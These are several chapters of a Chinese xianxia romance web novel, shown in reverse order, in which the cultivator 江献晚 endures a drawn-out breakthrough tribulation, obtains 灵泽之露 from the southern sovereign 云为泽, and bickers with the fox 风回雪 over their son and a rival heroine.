这些日心情骤浮,起起落落,此刻灵力暴动,再压下去,怕是要走火入魔。 江献晚抽神,望向天际夹杂着银色的云层,乌发青衣翻飞,面庞难耐的扭曲。 上次那道紫色劫雷追着她足足劈了三天,跟特么劈杀父仇人似的! 这次,不知道会劈上几天。 想到痛苦的结丹历史,江献晚暗暗磨了磨牙根,心里还是有些怂的。 实在是……太疼了! 那劫雷又特么的狗,咬着她不放。 “元婴劫雷?” 云为泽轻攥着白玉酒杯,遥望天际。 江献晚的劫雷力量,相对其他弟子结婴时,声势来的浩大壮观。 甚至直逼化神劫雷。 他压下眼角的担忧,唇轻轻勾了勾,转眸看向来人,直截了当,“帝隐,你看,她不靠任何人,也可以很好。” 逐客。 帝隐的情事或是事情与他无关,江献晚是棵好苗子。 他太虚宗,资源顶尖,弟子用不到南帝尊的灵墟来修炼。 他哥看似缺心眼,秉承着放养理念,管徒儿跟管杂草似的,效果却出奇的惊人。 只能自己瞎琢磨的四个小家伙,除了苏清流是个正儿八经的剑修,白子夜阵法符箓双修,林玉锦剑法和丹药两手抓。 江献晚……简直跟个大杂烩似的,至今连个剑都没有。 但这些都不耽误他们快速成长,反而这方法很适合。 没有帝隐的灵墟,江献晚突破元婴左右不过晚几日的事。 帝隐不看他,也不理他,惦记着他哄江献晚进他识海,强忍着醋意,神色显得没有任何波动。 始终望着襟飘带舞,迎着劫雷而立的少女,掩不住眼底的担忧,还有……莫名的自豪。 明明纤瘦,却自有一股难以忽视的强大力量。 他已得知江献晚拜入凤仪剑尊座下不过半载,秘境弟子交流大会之后才正式进入太虚宗。 她在北境一年,雾渺不会过于管她,江献晚之前并没有经过任何指点和教导。 刚开始她没有一点灵力,是乘着仙鹤来的。 与他双修之后,有了修为灵力,后来可能是嫌麻烦,不知在哪里弄了一把最次的铁剑,自己学会的御剑。 他也仅仅是给了她一把剑,和那些没人去指点她的各种功法。 在秘境时挥出来的剑意,显然都是自己琢磨的,糅合了万古宗剑法和太虚宗剑法。 江献晚离开万古宗时堪堪结丹,在无人依靠的情况下走到这一步,背后辛苦可想而知。 帝隐不知她空白的一年半载,去了哪里,又做了什么。 根本无人教她。 他雪眸微黯,只见天地忽然为之色变,粗壮的劫雷撕裂长空。 云为泽同样凝视着那道身影,不再言语。 江献晚早已远离剑窟,来到一片空地,以防剑窟收到波及。 察觉天地异象,各峰半山腰连续不断,亮起点点烛火。 江献晚浑然未觉,静眼瞧着那蓄足力量的紫色劫雷。 这劫雷狗的很,根本不给她反应和喘息的时间。 她刚站住脚,一股带着毁天灭地的气息,快准狠的朝她劈下,势不可挡的落在她身上。 而后,迅速再次蓄力,生怕劈不死她一般! 江献晚狠狠咬了咬牙。 说来,她与这劫雷渊源可太大了。 她能来到这个世界,就是被这条紫色劫雷……给劈过来的! 它化成灰她都能认出来! 雷电之力流窜四肢百骸,江献晚接连被劈了十几下,连喘口气的功夫都没。 她单膝及地,若无其事的抹了一把脸,仰脸漫不经心口嗨,“啧啧啧,又是你啊。” “没良心的,小、劫、雷。” 空中那道粗壮的紫色劫雷,似乎因她的话僵硬了片刻,紧接着重新酝酿凝聚。 并嚣张的扭成麻花:是我是我!见到我是不是很开心?别着急,马上劈死你! 诡异地,江献晚看懂了劫雷的嚣张。 然而,来不及再出言口嗨,紫色雷电劈头盖脸,倾轧落下。 轰—— 巨大的声音砸下来的那一刻,江献晚脑中空白一瞬,反射性的抽搐了一下。 尼玛。 它是有劈死人的业绩要冲吗? 紫色劫雷看她惨样,显然开心的很,得瑟地扭曲在苍穹,映的天际浅浅暗暗。 徐燕洲遥望着过分恐怖的劫雷,乍舌道:“这特么还是元婴期的劫雷吗?怎么好像恨不得劈死她一样?” 江献晚也觉得这劫雷想劈死她。 浑身焦黑,青裳残破,脸颊沾着灰尘,发带早已散开,长发随风舞动。 虚空中雷电之力再次迅速汇聚,墨云翻滚,夹杂着阵阵闷雷声,将后山尽数笼罩,搅得日月恨不能倒倾。 江献晚被活生生劈了五日,远远观望的弟子吸取经验都吸取累了,劫雷却仍没有散去的意思。 帝隐从刚开始的气定神闲,逐渐心绪紊乱。 起身,坐下,再起身,坐下。 指骨攥的泛白。 这劫雷的力量,显然不该是元婴才有的,堪比化神,已持续五日。 江献晚修为节节攀升,可那道劫雷始终咬着她不放,似乎拼了老命,都要将人劈死。 云为泽低声道:“中期……后期?” 江献晚双腿跪地,手指染着泥污,死死抠进泥土里。 忽然仰脸,怒指苍天,“你他娘的有种!来来来!劈死我!” 没完没了了! 她跟天道是有什么血海深仇吗! 帝隐云为泽:“……” 正犹犹豫豫打算飘飘散开的紫色劫雷:? 还有人提这种要求的? 当然是—— 满足她!!! 第 51 章 家没散 江献晚噗嗤一笑,“死狐狸,算你识相。” 她也知道,在那种情况下,风回雪收了女主的灵泽之露,才是最正确的选择。 可他若是真收了,她会想办法斩断与风回雪之间的灵契,去妖域带走行行。 根据主角光环定律,但凡是长得好看,地位尊崇的男子,都会无法自拔不可避免的爱上女主,心甘情愿为女主奉献一切。 她怕他们母子会成为女主飞升路上,那抹微若尘土的祭品。 现在看来,风回雪,算不算是个例外? 那未知的其他人呢? 还有谁? 江献晚只在乎对她重要的人。 倘若女主宽宏大度,不会注意到她,那便两处相安。 若是躲不过某种宿命,那便看谁能笑到最后。 女主? 什么是女主? 她江献晚站在这里,其他人统统让步! 她就是自己的女主! 谁都别想伤害江行行,伤害她在乎的人。 风回雪大喘了一口气,苍白的面庞血色渐渐回涌。 无不委屈,“晚晚,不许生气,还有,不许怀疑我。” “我是行行的爹,你们娘俩怎么就对我不重要了。” “那我呢?我对你和行行来说,重要吗?” 风回雪话锋一转,终于一鼓作气问出压在心底许久的问题。 他如何不知江献晚的三个师兄。 那他,是重要的吗? 不关灵契,算不算她的人? 江献晚睫毛轻轻一颤,脑中浮出一张妖艳无双的面庞。 “怎么突然说这个,行行他爹,自己心里没点数?” “我不管,我要你亲口说出来。”风回雪凶巴巴道。 大有股她不说,就吃了她的架势。 江献晚眨眨眼,“重中之重,同行行不分上下。” 风回雪心花怒放,笑的露出两颗尖利的白牙,傲娇轻哼,“勉强算你过关,告诉你,永远别想甩掉我,我要吃你的喝你的,还要啃儿子呢。” 江献晚真就挺无语,“滚,有你这么当爹的吗?” 死狐狸不以为耻,反以啃子子孙孙为荣。 想起正事,风回雪一颗狐狸心再次提起。 急急道:“那灵泽之露怎么回事?你怎么这么快就拿到了?怎么拿到的?有没有出什么事?” “别担心。”江献晚截住他的话,“没一点事。” 怕他胡思乱想,将云为泽带她进识海的事讲了一下。 “你说什么?”风回雪喃喃道:“江献晚!你说你进了哪里!” 他瞬间炸毛,几乎破音。 伴随着砰地一声,似乎气的拍在了桌案上。 “识海!你进他识海了!” “他什么意思!为什么让你进他的识海,就这么给你了!” “不行!还给他!不要!让妖帝死!赶紧死!江献晚,你现在就给我滚回妖域,他绝对对你有意思!我不许你理他!我家行行也不要后爹!” 江献晚被吼的脑中嗡嗡作响,头疼的捏上额角,很想翻他个白眼,“你觉得他见我一面就喜欢上了?人家可是帝尊,什么女的没见过。” 不是奔着琉璃玉骨,虽然她也不明白。 但能看出来云为泽确实对她没那种意思啊。 “我见你一面还跟你契约了呢!我不管!还给他!不许要!” “你都没有进过我的识海!” 风回雪现在的样子,就跟她方才听到女主消息时的暴躁。 江献晚神色逐渐诡异,“臭狐狸,你该不会喜欢上我了吧?” “我就算嫁人,也很正常啊。” “嫁人!”风回雪只听到了这两个要命的字,脑袋翁地一声,嗓音抬高八分不止,“你还想嫁人!江献晚!你有种!” “你嫁一个试试!别逼我现在去南境,将你锁在妖域!” 她敢! 有了后爹就有后娘! 她若敢给行行找后爹,他就敢带行行离家出走! 江献晚缓缓站直身,语气严肃,“别跟我岔话题,风回雪,你是不是喜欢我?” 风回雪微愣,“喜欢你?” 江献晚看不到他陡然薄红的面庞,胭脂色的眼尾,只听他迷茫的小语气,霎时松了口气。 还好,家没散。 风回雪要是真喜欢上她,她怕是能用脚趾抠出一座地宫。 风回雪耳根涌出血色,脸颊烧的通红。 正紧张的手足无措,眼神飘忽,却听她长舒一口气,再次炸毛。 “你那是什么反应?怎么,我喜欢你,是什么很糟糕的事吗?” “你个狼心狗肺没良心的女人!我一把屎一把尿……” 江献晚脑袋一疼,毫不犹豫掐断了联系。 风回雪就是个碎嘴子,嘚吧嘚吧起来,没完没了。 果然,叮咚叮咚,一道道信息波动不停的传来。 不用听都知道,死狐狸骂的很脏! 江献晚将玉简收入袖中,摸黑去了后山。 或许是骤然听到关于女主的消息,心里还是有那么一点小波动。 主要很久没见师兄他们,这会想的慌。 躺在树梢上晒星星的花不休一挑眉。 这小混蛋,大半夜不睡觉也不修炼,又要干什么坏事? 没管她,默默侧了个身,当作自己眼瞎。 江献晚来到剑窟,蹲在地上一下没一下的拔草。 才意识到一件事。 这么多山洞,她去哪里找师兄啊! 可她现在又有很多话,睡不着,又不想修炼。 江献晚垂下眸子。 被强制尘封在角落的记忆一幕幕浮现,激的她心绪难以平静。 她第一眼便从景长老身上,看出了那个再熟悉不过的影子。 清疏而又寂冷的银月。 世间独一无二。 哪怕变了发色,依旧遮掩不了骨子里的气息,还有那熟悉的小半张脸。 北境帝尊,帝隐。 话说,在他看来,她该是有多瞎! 江献晚从前不在乎,更不好奇他的身份,只当作一场随时一拍两散的交易,从未特意打听。 有了江行行,这事便想的多了。 她拔秃了一片草,不再选择逃避,冷静的分析。 北帝尊出现在太虚宗,显然是为了替女主寻找灵泽之露。 那么,他既然与女主这般熟稔亲密,为何还要隐瞒身份,装作陌生人来靠近她? 难不成是无意间顺便发现了她,认了出来? 他想做什么? 毕竟是睡过的人,好奇她现在的生活? 江献晚没有感受到敌意,便装傻充愣,满足他的好奇心,希望他能早点离开。 只庆幸江行行不在南境。 想到儿子,她目光渐凉。 她不管帝隐是不是被女主快要纳入或者已经纳入后宫,只要别打扰她和江行行的生活。 系统这种东西邪门,她不确定是否能监测出江行行的存在。 第 50 章 重要吗 江献晚四处扫了一眼,没看到景长老的身影,心虚了一下,“景长老呢?” “不知道!”龙鲤用脑袋顶了顶她,“冻梨冻梨,快点。” 它争不过主人,伤心了几日,但它可以跟江献晚培养其他感情啊。 江献晚将它鱼头一推,“知道了,等会。” 又踮脚看了看,耐不住鱼不停的用脑袋撞她缠她,只好找梨去了。 帝隐沐浴出来,便见一人一鱼头碰头挤在一处。 江献晚摆好冻梨,摸了摸鱼的脑袋,“小白,来,吐泡泡。” 龙鲤显然已经习惯了这个称呼,接受的毫无负担。 嘴巴一张,将梨凝上一层冰。 江献晚看着一排晶莹剔透的冻梨,陷入沉思。 口水。 这是鱼的口水啊! 算了,都给鱼吃。 龙鲤睁着鱼眼,“现在可以吃了吗?” “不行,三个时辰后才可以吃。” “怎么还要等三个时辰啊!” 江献晚默不作声的抱过它,放在膝上摸它的小角。 龙鲤浑身泛粉,“那,那好吧,听你的。” “乖。”江献晚举着它,跟举江行行似的举高高,“真漂亮。” 龙鲤哪里被这么哄过,扭捏的甩了甩尾巴,“你也很漂亮。” 看吧,主人得到江献晚的身,也得不到江献晚的心,江献晚明明只喜欢它。 正春风得意的鱼忽然感受到一股刮鳞片的冷意,根本不敢扭头,嗖地一下跃进池塘。 主人,又生气。 真是的。 小气鬼! 江献晚敛下唇角笑意,起身恭敬行弟子礼,“景长老。” 帝隐轻轻应声,落座。 江献晚古怪的看了他一眼。 真奇怪,景长老今日好像格外高冷。 不过,她没闲心放在不重要的人身上。 修炼结束,迫不及待出了水榭,回到凤仪台侧院,联系风回雪。 “你说什么?”江献晚挑眉。 风回雪轻手轻脚替江行行盖好被子,转步去了侧殿。 “你也觉得奇怪不是?我今日在拍卖阁想拍卖一株灵植,与天狼王他儿子起了争执。” “狼太灰那狗东西当众说出妖帝神魂受创,快不行了。后来,我离去时,一位遮着面纱的女子追了过来。” 风回雪深吸一口气,“她竟有灵泽之露,而且,还主动要赠与我。” 江献晚诧异扬眉。 灵泽之露? 灵泽之露她转交给了景长老,而她手中的是所有剩下的灵泽之露,短时间内绝对不可能再有。 那么,灵泽之露为何会出现在其他女子手中。 “你要了吗?” 她终于确定了什么。 女主。 是女主。 除了北帝尊,风回雪八成也是女主后宫团中的一位。 女主有十八位美人图鉴,身带系统,点亮这十八位图鉴,就可以汲取这些气运之子的气运,是快速飞升的最强外挂。 同时,这十八位美人图鉴,大约都会被女主纳入后宫。 江献晚指尖轻轻点在窗棂。 时隔三年,终于还是听到了女主的消息。 “没要。”风回雪蹙眉。 他当时是心动了,想要花大价钱买下。 问她有什么条件,那女子俏皮的对他眨眨眼睛,开玩笑说要他以身相许。 他觉得她在放屁。 呸! 许她奶奶个腿! 他早已许了江献晚了! 让妖帝死吧! 这就是命! 风回雪眉眼黯淡。 明知灵泽之露关乎他爹的性命,却不知为何,在那女的反过来说开玩笑,不要任何回报送给他时,他毫不犹豫,下意识一口拒绝了。 但在拒绝的那一刻,忽然觉得很轻松,很爽。 潜意识告诉他,那女子,他不该多接触。 会让他失去一些无法承受的很重要的东西。 哪怕很想要,更不想江献晚贸然为了他想办法获取灵泽之露,可还是不耐烦的让那女的赶紧滚。 风回雪怀疑的是,那女子是不是跟天狼王有一腿。 否则,灵泽之露为何出现的这般巧合,指不定掺什么了! 别以为他是傻的! 风回雪整个人陷在烛火灯影之中,将这些猜想都说了出来。 “我派画形妖悄悄跟上了她,她进了万古宗,晚晚,你说她是不是有什么阴谋?” “还是说万古宗有什么阴谋,天狼王背地里同万古宗勾搭一起了?” 江献晚抿唇。 她不知女主跟天狼王会不会有什么关系,但万古宗绝对不会同妖域私下牵扯。 雾渺此人,在事关北境的大事上,正的发邪。 她的阴谋就是你啊死狐狸! 这些话,江献晚说不出。 每次她试探着,哪怕只是委婉的想要道出来写出来,仿佛就有一只无形的力量操控她的神识,阻挡她开口写出。 江献晚斜倚窗棂,勾着一缕乌发缠在指尖,勾唇冷笑。 “风回雪,你若敢要别的女人的东西,老娘扒了你的狐狸皮!” 风回雪一愣,“啊?” 以江献晚的性格,不该骂他该出手时就出手,弄到手里再说。 “我这里有灵泽之露,你让白羽去黑市王大宝那取。” 江献晚不给他说话的机会,接着反问,“我和行行,对你重要吗?” 风回雪震惊的同时,顾不询问她如何这么快得到灵泽之露。 听她最后那句不同寻常的语气,像只被踩了尾巴的猫,恶狠狠的凶她,“说什么呢江献晚!你和行行什么分量你自己心里没数吗?” 他几乎是怒火中烧的低吼出来。 “我们在一起这么久了,你竟然问我这种问题,你把我风回雪当什么了!是不是非要我剖出心给你看!” 风回雪吼完,便愣住了。 他垂落指尖,神色茫然的可怜。 这是怎么了,明明晚晚只是随口问了一句,他却发这么大的脾气。 风回雪回过神,手忙脚乱,“不是,晚晚,我。” “不是的……我也不知道心里怎么突然有些乱。” “晚晚,你理理我,你别不说话。” “晚晚……” “晚晚?” 风回雪难受的声音嘶哑,听起来快要哭了,“死娘们,你说话。” 第 49 章 以身相许 云为泽轻嗯,散漫地往粗壮的树干上倚靠,“晚晚,你知道了。” 他想了几日,终觉不妥。 帝隐要追妻,他做什么要帮着,推开自家的弟子。 江献晚若对他有情,哪里会等到现在? “嗯。” 江献晚很轻易的明白南帝尊这句话指的是什么。 帝隐化身景长老,其中,云为泽定然知晓。 就算北帝尊不会明说他俩的关系,南帝尊心若海深,又怎能猜不出。 云为泽看着少女轻轻攥起的指尖,和并不能称的上开心的神色,轻笑道:“他活该。” 他轻轻弹指,玉瓶漂浮,去接滴落的水珠。 过了片刻,云为泽看了一眼,转手给了江献晚,“晚晚,我欠他的人情,顺手替我还给他。” 江献晚很聪明,“景长老?” 反正不会是妖帝…… 云为泽先是错愕,随即笑的胸腔震动,“他告诉你他是景长老?” 帝隐,字景行。 江献晚无奈摊手,“他说是就是吧。” “是。”云为泽颔首,手肘抵着膝头,屈指撑着下颌,话音又是一转,“奶酪还有吗?” “有。” 云为泽毫不客气收起来,慢悠悠的掏出一个比方才略大的玉瓶,再次接起了灵泽之露。 江献晚这会可谓是坐立难安,手痒难耐。 面无表情地盯着一滴一滴落入瓶中的灵泽之露,眼冒精光,蠢蠢欲动! 请问在座。 如何才能让尊贵的南帝尊施舍一二? 江献晚念头百转之际,眼前递来一只修长如玉的手掌,掌中攥着玉瓶。 她猝然掀起睫毛,“帝尊?” 云为泽似乎并不怎么在意,随手塞她手中,“算奶酪的回礼?” 他帝隐有帝休之果,他灵泽之露也不差。 江献晚已经不知道该说什么,该有什么反应,错愕地攥着手中比方才那瓶多了不少灵泽之露的玉瓶。 她什么法子都还没来的及细想,来得及实施,云为泽就这么送到眼前了? 江献晚百思不得其解,“灵泽之露贵重,帝尊为何给弟子?” “它贵重,你便不贵重了?” 云为泽侧目看来,眸光敛谧,嗓音轻若飞絮,却又清晰的落在耳边。 江献晚愣了愣,有些恍惚。 随即,一股难以言喻的感觉刹那间窜上心头。 除了寥寥几人,云为泽是第一个觉得她贵重的人。 她攥紧玉瓶,眼底茫然的薄雾顷刻散尽,弯唇轻笑,“帝尊,您很好,多谢。” 原来,也会有这么一个并不相熟的人肯定她是重要的。 再次被发了好人卡的南境帝尊浅笑,指尖一下没一下轻点在膝头,“既如此,你当如何回报我的好?” 这个问题,倒难住她了。 南帝尊什么好东西没有,修为,金钱,地位,翻手为云覆手为雨。 江献晚垂眸思索,云为泽也不催她,对接下来的回答,颇为期待。 许久之后。 细微的声音试探着砸在耳畔。 云为泽蓦地侧颈,那双如海静谧的双眸不可遏制的掀起一阵激越的波澜。 僵硬住的指尖洒了酒也不知道,震颤的眼瞳映着少女清澈的眸子。 江献晚尴尬地挠挠脸,“啊哈哈。” 不然,他为何让她进他的识海,还把这么多的灵泽之露给了他。 该不会是……看上她了吧。 明确的说……是琉璃玉骨。 江献晚瞳孔深处有浅淡的黯淡一闪而逝。 琉璃玉骨,真是助修士无痛飞升的好东西啊。 “……咳。”云为泽后知后觉呛了一下,指腹擦过唇角,“晚晚啊。” 小丫头脑袋里都在想些什么? “那便以身相许好了。” 江献晚这一许,绝想不到,从云为泽识海出来时,脚步虚浮,视线模糊。 的亏她酒量不错,火拼了五坛,撂翻了南帝尊。 景长老要检查她的剑法,她可没忘。 江献晚脚步虚浮进了水榭,更没忘记将灵泽之露给景长老。 “帝尊命弟子带给景长老的。” 帝隐雪袍堆叠,如月下玉昙,端坐于凉亭之下。 一手执卷,没看搁在桌上的玉瓶,雪水洗过般的眸子落在一身酒气的少女身上。 不仅仅是酒气,还有云为泽的灵泽气息,很浓。 “喝酒了?” 他语气平常,听不出任何情绪。 江献晚眼尾浸着一抹缱绻的绯色,双眸雾气萦绕,嗓音因酒意带着几分温软,还算冷静,“嗯,喝了些。” 当然,忽略微微涣散的瞳孔。 “我去练……” 江献晚头一昏,踉跄着退后两步。 她酒量向来不错,然云为泽准备的酒太烈,饶是用灵力逼出许多,仍止不住眩晕。 后劲涌上头,面前的人重影晃动不休。 甚至听不清景长老在说什么,如雾里探花,又好似穿过峰峦叠嶂。 江献晚盘膝坐在紫竹下,长卷的睫毛垂落,周身灵力涌动,竹叶渐渐落了满身。 帝隐静静地站着,半张脸掩在竹影之中,指节蜷了松,松了蜷。 她身上这般浓郁纯净的灵泽之气,不可能是饮了灵泽之露。 只有一种可能。 江献晚进了云为泽的识海。 识海。 帝隐忽而闭目。 生出,将人带走,藏起来的心思。 隐约明白,江献晚为何不愿留在万古宗,为何不愿留在巫云殿,为何毅然决然的……丢下他。 他通过灵幕,如何看不出离了万古宗,离了北境,她反而过的更好。 如困鸟出笼,逃出生天。 褪下面具的江献晚,耀眼无比。 哪怕她的容貌是现在这样一种模样,却能拥有疼她护她,那么多喜欢亲近她的人。 他自问,这些,在万古宗,他都能给江献晚吗? 帝隐睫毛陡然一掀。 不知不觉,他竟早已将一个从始至终只把这场情事当作利益交换的少女放在了心底。 现在,算不算晚。 他的人,不想云为泽来护。 他想,愿意,做江献晚展翅飞翔的羽翼。 江献晚没想到,这一坐,再睁眼,水榭流逝已是七日。 自虚无中抽身,对上一双恨不得戳在脸上,睁的滚圆的鱼眼,吓得一哆嗦,“你怎么出来了?” 龙鲤一甩尾巴,委屈无比,“你入定了七日,答应我的冻梨呢?” 第 48 章 灵泽 南北两境对上三域之事,向来穿一条裤子。 就算妖域拿出再多的诱惑,两位帝尊都不会答应,巴不得妖域完蛋,可能还会加一把火。 “还能撑多久?” 风回雪犹豫片刻,“恐怕不出两个月。” “行。”江献晚一拍腿,“你别躲在被子里偷偷哭,灵泽之露我想办法弄来。” 帝休之果她压根没考虑,灵泽之露可是近在眼前。 “你?”风回雪一个激灵坐直身体,语气急切而凝重,“晚晚!此事无需你插手!” 此事,南北两境不可能不知。 江献晚现在的身份是剑尊弟子不错,剑尊再怎么与南帝尊关系密切,可他如何能让江献晚冒一点风险。 算了,就让妖帝云淡风轻的消散吧。 风回雪死也不愿让她做出任何有可能暴露与妖域亲近的事。 她只需要跟行行开开心心的。 应该是他护他们母子才对。 风回雪觉得自己没用极了,嗓音沙哑,带着低低的哀求,“晚晚,听我一次,信我,我可以解决。” “闭嘴。”江献晚捏着玉简,“就这么定,我可是你主人。你给我机灵点,把妖域攥好了,我哪天混不下去,你得养着我们娘俩!” “你再这么跟我掰扯,不如现在就散伙,我立刻去接行行!” “不要!”风回雪脱口立道。 他垂下纤密的睫毛,眼角隐隐泛红,尽管知道江献晚看不到,手掌仍遮上面颊,“晚晚。” 竟是蓦地哽咽。 半晌,风回雪忽然轻轻一笑,鼻音有些重,“好,我一定攥好了,咱们一家三口好好过日子。” 死狐狸,又调戏她。 江献晚模模糊糊应声,“知道了,等我。” 她掐断传音,抹去阵法,从芥子囊拿出一件江行行睡觉穿的小肚兜。 闻着那股淡淡的奶香味,忍不住贴在脸颊上蹭了蹭。 还没蹭两下,腰间忽然一紧,一股强悍的力量扯了她的腰。 江献晚心头一惊,控制不住越过重重树梢,朝那座掩在云雾中的潋浮台飞去。 她忙把小肚兜往芥子囊一塞,撩开轻纱,怨念颇深,“帝尊,人吓人,会吓死人。” 云为泽自顾自的添上一杯水,推过去,“没见你怕。” 江献晚步上台阶,也不客气,直接坐下,“喝茶呢?” “是啊,毫无悬念的人生。” 云为泽悠然叹息,听的江献晚嫉妒又羡慕。 他话音一转,“你方才塞的什么?” “肚兜。” 云为泽:“……” 指尖一晃,茶洒了一滴。 江献晚说罢,才反应过来,试图补救,正色道:“手帕。” “晚晚啊。”云为泽唇角轻勾,拂去指尖水渍,“看来不拿我当外人。” 江献晚:“……” 小孩子的肚兜啊大哥! 你不要多想! 当然,这个不能说,江献晚果断选择跳进自己挖的天坑。 却听云为泽认真又疑惑地继续询问,“你拿它做什么?” 江献晚:“……想看看。” 云为泽:“……”真是个诚实的孩子。 “有空吗?” 江献晚狐疑地瞅他,“嗯。” “那行。”云为泽隔着桌案倾身,“同我去个地方。” “成。”江献晚痛快道。 正好跟云为泽套套近乎。 机会,这不就来了。 再不行,抱着花不休的大腿,一哭二闹,三上吊,献上她全部的小金库。 江献晚眉心被莹润温热的指尖轻轻一触,下意识阖落睫毛。 没瞧见云为泽在触碰她的一瞬间,眼底闪过一丝莫名的神色。 神识轻晃,再睁开便进到一个格外灿烂而玄妙的世界。 一棵足足有三层楼那么高,繁郁参天,像是泛着星辰之力,浸着日月之辉,坠满粉嫩叶子的巨树,散发着梦幻的光芒。 江献晚微怔,虽大约知道,仍有些不可置信,“这里?” 云为泽靠树坐下,长腿随意屈起,另一条微微伸展,拍了拍身边凸起的树根,“我的识海,晚晚,坐。” 江献晚是真的不知说什么好了。 识海是能随便让人进的吗? 还有,帝尊的识海长这样。 不得不说,漂亮的程度,比她见过的任何一帧画面都要来的震撼。 江献晚依言坐到树根盘虬的树下,放眼打量。 云为泽笑了笑。 垂眸盯着方才点在少女眉心的指尖,眼底浮出难以言喻的费解和自我怀疑。 他也不知道,就扯了江献晚来了他的识海。 别说,江献晚身上真的有一种魔力,让人忍不住放松且愉悦。 云为泽将手垂落于膝头,“会喝酒吗?” “会。” “喝一杯。” 面前便多了两坛酒,两个酒杯。 过了一会儿,他指了指头顶,“看到这棵树了吗?” 江献晚:“……弟子没有眼疾。” 这么大一棵树呢,还特么会发光,她不想看见都难。 云为泽蓦然轻笑出声,点头,“那你知道它叫什么吗?” 一棵树也有名字? 不过,既然是帝尊识海的树,有名字也不稀奇,江献晚仰脸,陷入沉思。 云为泽忽然道:“你是不是想说,这里又不是我的识海?” 江献晚:“……”这么快就学会举一反三了是吗? 云为泽又笑,笑的仿佛盛着浩瀚星辰的漂亮眸子眯起。 许久。 他说。 “灵泽。” 他声音低沉而华丽,因饮了太多的烈酒,带着一丝朦胧的醉意。 江献晚表情有一瞬间的空白,怔愣在原地。 紧跟着,皮肤上蹿起密密麻麻的凉意。 灵泽? 是那个灵泽吗? 是那个灵泽之露的灵泽吗? 竟然是长在云为泽识海里的。 这么快就送上门了? 还是说云为泽听到了她与风回雪的对话? 江献晚立刻否定了这个猜测。 不可能! 她的阵法连花不休都委婉的夸过。 而且,就算她的隔音阵,对云为泽这种最高级别的大佬无用,云为泽应当不是那种偷听别人谈话的人。 江献晚脑中刮起一团风暴,握着酒杯的掌心不由得沁出一层薄汗。 不会吧,不会吧,她前脚刚准备搞事情,云为泽后脚就发现了? 他就算是帝尊,应当不至于达到手眼通天的地步! 江献晚强忍着剧烈跳动的心脏,微微转眸,“灵泽?” 第 47 章 老子不大好 听着剑灵哭的嗷嗷,再看少女拒绝的神色,帝隐一双乌睫蔫蔫的垂了半扇。 在秘境中,她明明用了她大师兄的剑的。 熟稔的模样,不止一次。 他眸光逐渐黯淡,收起万物生,转身回到凉亭落座。 江献晚以灵力操纵木剑,试图让它浮在半空中。 一息,两息,三炷香过去,木剑轻轻晃动。 江献晚猛地睁开眼睛,灵力托举着摇摇晃晃的剑,越浮越高。 哐当—— 木剑刚与视线平齐,便被那股重力压的坠地。 再来。 这次用了两炷香。 木剑一次次浮起,一次次跌落,江献晚整个人渐渐沉浸在一种玄妙的世界。 她鬓发汗湿,丹田发烫,似雾的灵力萦绕周身,愈发凝实。 这次,她握上了木剑。 清月高悬,虫鸣序曲,一条无与伦比,体型巨大的鱼倏然跃出水面,流泻出梦幻而美丽的华芒。 江献晚到底还是心急了。 迫不及待一剑挥出,灵力陡然被抽空,眼前一黑,直接昏了过去。 凉亭下白裳织着月华,似一缕清风拂过,帝隐一步踏出,稳稳托上少女的腰。 —— 自紫竹林下醒来的江献晚有些尴尬。 鉴于景长老坐在她身边一米的距离,守了一夜。 不敢再急功冒进,不是扫地,就是盘膝打坐,歇息时逗逗龙鲤,与景长老切磋棋艺。 不知过去几日,在强大的高压下,江献晚已经能行走自如,轻松的挥出一整套剑法。 她发现她的感知力和掌控力进步神速,神识超出元婴初期。 尤其是速度。 在这里一举一动,顶着强压不算明显,待她出去,便能清晰的感觉到自己的速度快上许多,一个猛冲,没刹住车,撞在了树干上。 就连去膳食堂抢饭,都能取得名列前茅的好成绩。 江献晚吃过饭,告别同门,寻了一片隐蔽的枫叶林,从芥子囊拿出一小堆灵石,布阵法。 妖域与南境距离太过遥远,不依靠阵法辅助,无法直接传音。 信道方一连通,江行行用一口令人恨不能融化的小奶音,脆生生的喊着娘亲,似乎还被风回雪抓了痒痒肉,逗的咯咯直笑。 听着一大一小的嬉闹声,江献晚酸死了。 小没良心,看来在妖域玩的很开心。 风回雪傲娇地哼了一声,不用看,定是抬着下巴,洋洋得意。 “那可不,咱儿子前日看上了一只鸡妖,成日追在人家屁股后面,要人家下蛋。昨天从湖里钓回来一只王八,还骑在人背上溜圈。” “今天玩的更疯,不许白羽帮忙,撅着屁股刨了几个月季妖放床头了。” 嘟囔罢,幽怨的发出同江献晚别无二致的醋意腔调,“就连白羽那只傻鸟,混的都比自己老子香!” 最伤心的莫过于江献晚,一颗老母亲的心酸的冒泡,低声骂他,“死狐狸,他要是不认我这个娘,我拔了你的毛!” 看得出,江行行对长得五花八门的妖很有一种天然喜爱。 风回雪一哆嗦,忙堵了江行行张嘴就喊白羽的冲动,讪讪道:“哪能,做梦都娘啊娘的。” 听到一个模糊的‘白’字的江献晚,呵呵回以冷笑,懒得跟他掰扯,“妖帝怎么样了?” 说到这个,风回雪的声音多了丝暗哑,“晚晚,咱家老子……可能要不大好了。” 江献晚心中咯噔一声。 风回雪说不大好,那就是一点不好。 以妖帝的修为,怎么也到不了不大好的地步。 “到底怎么回事?风回雪,你非要跟我分的这么清?” 风回雪素日里看似不着调,其实报喜不报忧,挺能扛事儿。 江献晚不想这样。 她希望风回雪可以将她当成一个,无论发生什么事,都可以倾诉的家人,而不是自己一人扛着。 “不是的晚晚。”风回雪缓缓吐出一口气,嗓音有些疲惫。 他只是不想江献晚跟着担心。 他虽是妖帝之子,未来的妖帝。 然妖域势力庞杂,他爹一味的顾及旧情,使得天狼王势力日渐压过狐族一头。 “晚晚,我再不济,也会护好咱们的儿子,你不要担心,等我处理好一切,就和行行回去。” 江献晚听他故作轻松的语气,声音一冷,“风、回、雪!” 她担心的只是行行吗? 死狐狸到底懂不懂什么是一家人! 听她真动了怒气,风回雪又是甜蜜,又是委屈,“知道了知道了,别凶了,我说还不行吗。” “这不是怕你担心?糟老头子也是活该,真不知道脑子是不是被门挤了,害的我跟在屁股后面擦屎。” “他现在清醒的时候不多,前些日子冲阶,神魂被重创,妖丹裂了几道,修为跌落一截,我怀疑是天狼王那个狗东西干的。” “七品丹药我都给他找来了,没什么大用,抵不住修为还在往下跌。” “大司命说若有帝休之果,或是灵泽之露,可尽快修补妖丹,将修为重新提上去。” 另一种办法,便是寻一极品炉鼎,缓慢调之。 但他们没这打算,风回雪又根本不可能同江献晚讲这个。 “妖域同两境早就不来往,我特么上哪给他整帝休之果和灵泽之露,死他拉倒!” 